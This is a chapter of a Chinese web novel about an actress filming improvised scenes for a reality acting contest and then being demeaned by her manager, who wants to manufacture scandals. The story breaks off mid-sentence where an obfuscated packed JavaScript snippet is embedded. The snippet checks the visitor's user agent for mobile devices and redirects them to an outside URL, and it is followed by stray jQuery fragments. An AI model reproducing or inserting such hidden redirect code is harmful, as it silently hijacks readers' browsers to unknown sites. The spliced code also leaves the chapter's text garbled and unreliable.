82. 虐杀者

作品:《第一万零一次月升

    “各位老师,新一期的比赛规则辛苦查收!”实习生妹妹挤到人群中挨个提醒。


    刘晓靠近小声说道:“不管你换到什么赛道,都只有被淘汰的命运。”


    浓黑的眼珠包裹在更浓密的假睫毛内,看不清真正的眼神,只留下一个眉眼弯弯的侧脸,转身再看,那人早已回到人群的簇拥下,背影依旧笑得虚假。


    手里传来痛感,刚才的好心情全消失了,翻开台本,从下一期开始,加入了专业评审团,刘晓便是其中一员,而专业评审团1分抵100分。


    比分本就咬得紧,想赢几乎不可能了。


    “老师咱们来换妆造吧。”


    “嗯。”


    安夕看着镜中的自己,这一路走了这么久,难道只是为了一个输赢?


    答案是如此的明显,所以只要处理好情绪问题就行了,不要放任所有不安的情绪,无视它饿死它,此刻安夕不是安夕,此刻的时空属于乐乐,安夕只是乐乐。


    Action!


    脑中的混乱消失,第二幕开始了。


    所有的大灯全部关闭,棚内瞬间陷入一片昏暗中,安夕举着一把小小的手电筒,怀揣着满心的愧疚与不安,还是用力将一根铁钉扎进了爸爸的轮胎里。


    “护士姐姐,我发现爸爸的轮胎被扎破了,你帮我阻拦他好不好,不要让他今晚出去跑出租了。”


    “为什么你自己不告诉爸爸呢?”


    “我……他会怪我这么晚不睡觉的。”


    “好吧,那你还不赶快回房间里睡觉。”


    “嗯!谢谢您!”


    镜头转向病房,爸爸轻手轻脚地套好外套,轻轻吻了吻乐乐的额头,往门外走去。


    “乐乐爸爸,巡逻的保安发现车库里有一些碎片,一些车辆的轮胎被扎破了,经过排查您的车也在其中,今晚就不要出去了,明天送去维修吧。”


    爸爸沉默地坐在床头,乐乐终于忍耐不住,悄悄睁开了眼。


    “爸爸?”


    “嗯。”


    “今天不出去跑出租了吗?”


    “嗯。”


    “那我们出去玩好不好?”


    爸爸伸手摸了摸乐乐的额头,无奈说道:“好,再睡一会吧,等天亮了,我们出去玩。”


    刚刚的不安与愧疚全都消失了,内心为这小小的胜利而雀跃,安夕眼里闪着泪花,“嗯,爸爸也再睡会,晚安。”


    卡!


    刘导脸上的笑意再也藏不住,“很好!接下来是外景,一切都不在我的把控中了,你们自由发挥,用心演绎,记住一定要牢牢守住自己的人设和剧情,要专注、要自信,明白吗?”


    安夕用力点点头,投入到角色的世界中,在已知的剧情中,一切都变得简单起来。


    在几辆大巴的转送下,所有人员按时转场到海滨公园处。这里已经搭建好外景道具,摄影师分散在各个主演身边,剧情从人员落地就开始朝着不受控制的方向自由展开。


    刚下过雨,公园里的地砖上冒出一片绿色的地藓,乐乐踮起脚尖绕开嫩绿色的小叶子,爸爸在身后慢慢地跟随。


    十几年的相处,将父女俩紧紧绑在了一起,像是天秤的两端,任何一方的消失,都会让另一个的世界崩塌。


    所以,向往自由是假的,真正想要的是羁绊,永恒的羁绊。


    既然注定无法洒脱,那希望这份羁绊能够是光明的。


    一个卖气球的爷爷从路的那边缓缓走来,随着爷爷的走近,五颜六色的气球将天空填充。风吹过,砰砰的碰撞声留下风的声音,乐乐仰头看着漫天的气球,一颗粉色的气球缓缓地漂浮在眼前。


    爷爷的隐藏剧情应该是送出气球,可能是缺乏经验,笑容有些僵硬,递气球的手也在微微颤抖。


    乐乐接过气球,回头看了眼爸爸,然后以最快的速度跑出所有人的视线。


    卖气球的爷爷一瞬间的惊慌最为生动,即便前面的隐藏剧情有可能因为演绎僵硬而被剪掉,至少还有一个露脸的镜头。


    乐乐边跑边想着,身后很快传来爸爸惊恐的呼喊声。


    “乐乐!你去哪?别跑太快!”


    粉色的气球在树丛中偶尔冒出头来,指引着乐乐的方向,爸爸焦急地追随着气球的踪迹,而乐乐拉低手中的线,依旧快速地穿行在灌木丛间。


    草地在脚下飞速后退,到底要跑向哪里她也不知道,只当作这是离开的前奏。


    一路上跑得太快,安夕没有注意到路两边的各色人员,直至脚下的绿色被一片松软的黄替代,安夕抬头,一片浩瀚的蓝洗涤了整个世界。


    海风清冷,海浪缓缓舒展,在海面上轻盈地荡漾开来,这样的景色能让所有的情绪平息。


    安夕忘记了剧本,只是沉迷于眼前的一切,身后却突然响起此起彼伏的喘息声。


    回头一看吓了一跳,身后不知何时多了这么多人,有推着烤串摊的,有扛着露营餐桌椅的,还有几个人穿着各式玩偶服正一摇一摆地追赶过来,而所有人见安夕回头,十分默契的避开眼神,开始不知所措的忙碌。


    爸爸最后赶到,双手抵着膝盖气喘吁吁,“你这孩子,跑这么快做什么?爸爸都追不上你了。”


    乐乐牵起爸爸的手,温热的触感从手心绵软地传来,爸爸傻呵呵地笑着,笨拙地替乐乐脱去鞋袜。


    “中午的太阳晒过,现在的沙滩柔软又暖和,乐乐踩上去试试。”


    乐乐踏上沙滩,身体像是掉入一朵棉柔的云层,两人走到海岸线,海天一色,自由的壮阔一声声冲击着内心,乐乐转身看着爸爸,却见爸爸也正笑着看着她。


    “爸爸,如果我离开了,一定会奔赴更自由广阔的世界,就像你对我的期许,自由快乐,希望你也是。”


    爸爸红了眼眶,只是假装看向远处。气球乘风上下跃动,乐乐放开了手里的细线,海天一色的蓝色世界里很快多了一抹灵动的粉。


    身后的人群欢呼起来,烧烤架已经架好,一小哥拉着父女俩,一人塞了一串烧烤,总算完成了任务,乐出一口大白牙。


    其他人则很快拥了上来,夕阳在篝火中跳跃,人们拉着手快速的转圈欢笑,最原始的快乐涌了上来,乐乐感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814180|160462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    受到爸爸的眼神从未离开过自己,穿过欢乐的人群,穿过炙热的火焰,像海风一般时刻围绕在自己的身边。


    巨大的狐狸玩偶挡在了爸爸眼前,毛茸茸的狐狸爪子握成了拳头,爸爸心领神会,伸出拳头与它轻轻碰了碰,那一刻终于爸爸眼里的忧愁终于消散,属于他的童话已与他轻碰。


    玩偶明明不会改变表情,乐乐却觉得了那狐狸笑了出来,正想着却见它已经将毛茸茸的拳头递到了眼前。


    乐乐看着它,快乐突然涌了上来,握拳用力碰上去。


    原来真的有魔法。


    在这一幕夕阳下,结束了一天的拍摄,所有人分不清是剧本还是现实,紧紧的相拥告别。


    “姐!我真的快气死了!这次即兴演出咱表现的多好啊!我还以为这把能靠演技出圈呢!可是网上全在骂你虐待老年演员,拜托!那是在给戏啊!我真是多长十张嘴都不够骂的!不行不行,我要再开小号!再战!再战!”


    小琪气冲冲地推开办公室门,不管不顾地一通输出,完全没注意Jessy已经提前到了。


    见到Jessy,小琪像是老鼠见了猫,收起满身戾气,乖乖巧巧坐到安夕对面。


    “这些你看看,参加节目不能只是上节目,走到现在,赢不赢已经是次要的,关键是保持话题度。”


    一摞资料被扔在面前,A4纸尚有余温,应该是刚刚打印的,安夕拿到手里仔细的翻看。


    下一期需要用的背景音乐有点熟悉,查了查竟是许翊辰的,直觉在叫嚣事情没那么简单,忍不住问道:


    “为什么要用许翊辰的歌?”


    Jessy似乎很满意安夕的发现,停下了噼里啪啦的键盘声,抬头得意地说道:“这首歌的版权有点问题,后面的话题比较有发挥的余地。”


    安夕闻声脸色一变,“我不想炒作话题,我想赢就是想摆脱这些话题。”


    “你赢得了吗?我不知道你和刘晓有什么精彩的过往,据我所知,她可是联系了一众人务必淘汰你。”


    安夕沉默了,淘汰确实摆在眼前。


    Jessy从冰柜中取出一瓶红酒,迎着阳光,杯中的酒轻轻晃动,她凝神观赏,轻飘飘地问道,“你有没有想过我为什么签你?”


    轻饮一口,她转身看向安夕,眼神轻蔑,“年龄、长相、专业,都一般,若没有话题,在这行扑腾两年也就销声匿迹了。”


    安夕看向Jessy,暗红色的发丝在阳光下闪耀,前不久强忍哭泣的女孩不见了,她高高在上的样子似乎正是那个女孩的虐杀者。


    喉咙很干涩,一套在内心重复过很多次的话术终于说出口:“就算输了,至少还可以呈现一个好的舞台。”


    Jessy突然大笑起来,笑得前俯后仰,熨烫服帖的西装被压出几道褶皱。


    “安夕啊安夕,我该怎么说你才好?谁给了你天真的勇气?你以为你还有退路吗?工作就是你租来的华服,脱下这层华丽的皮,你是苟活在出租屋的米虫,是爸妈都嫌弃的剩女,是对家粉丝人人都想踩上一脚的烂泥,你没有资格说不。”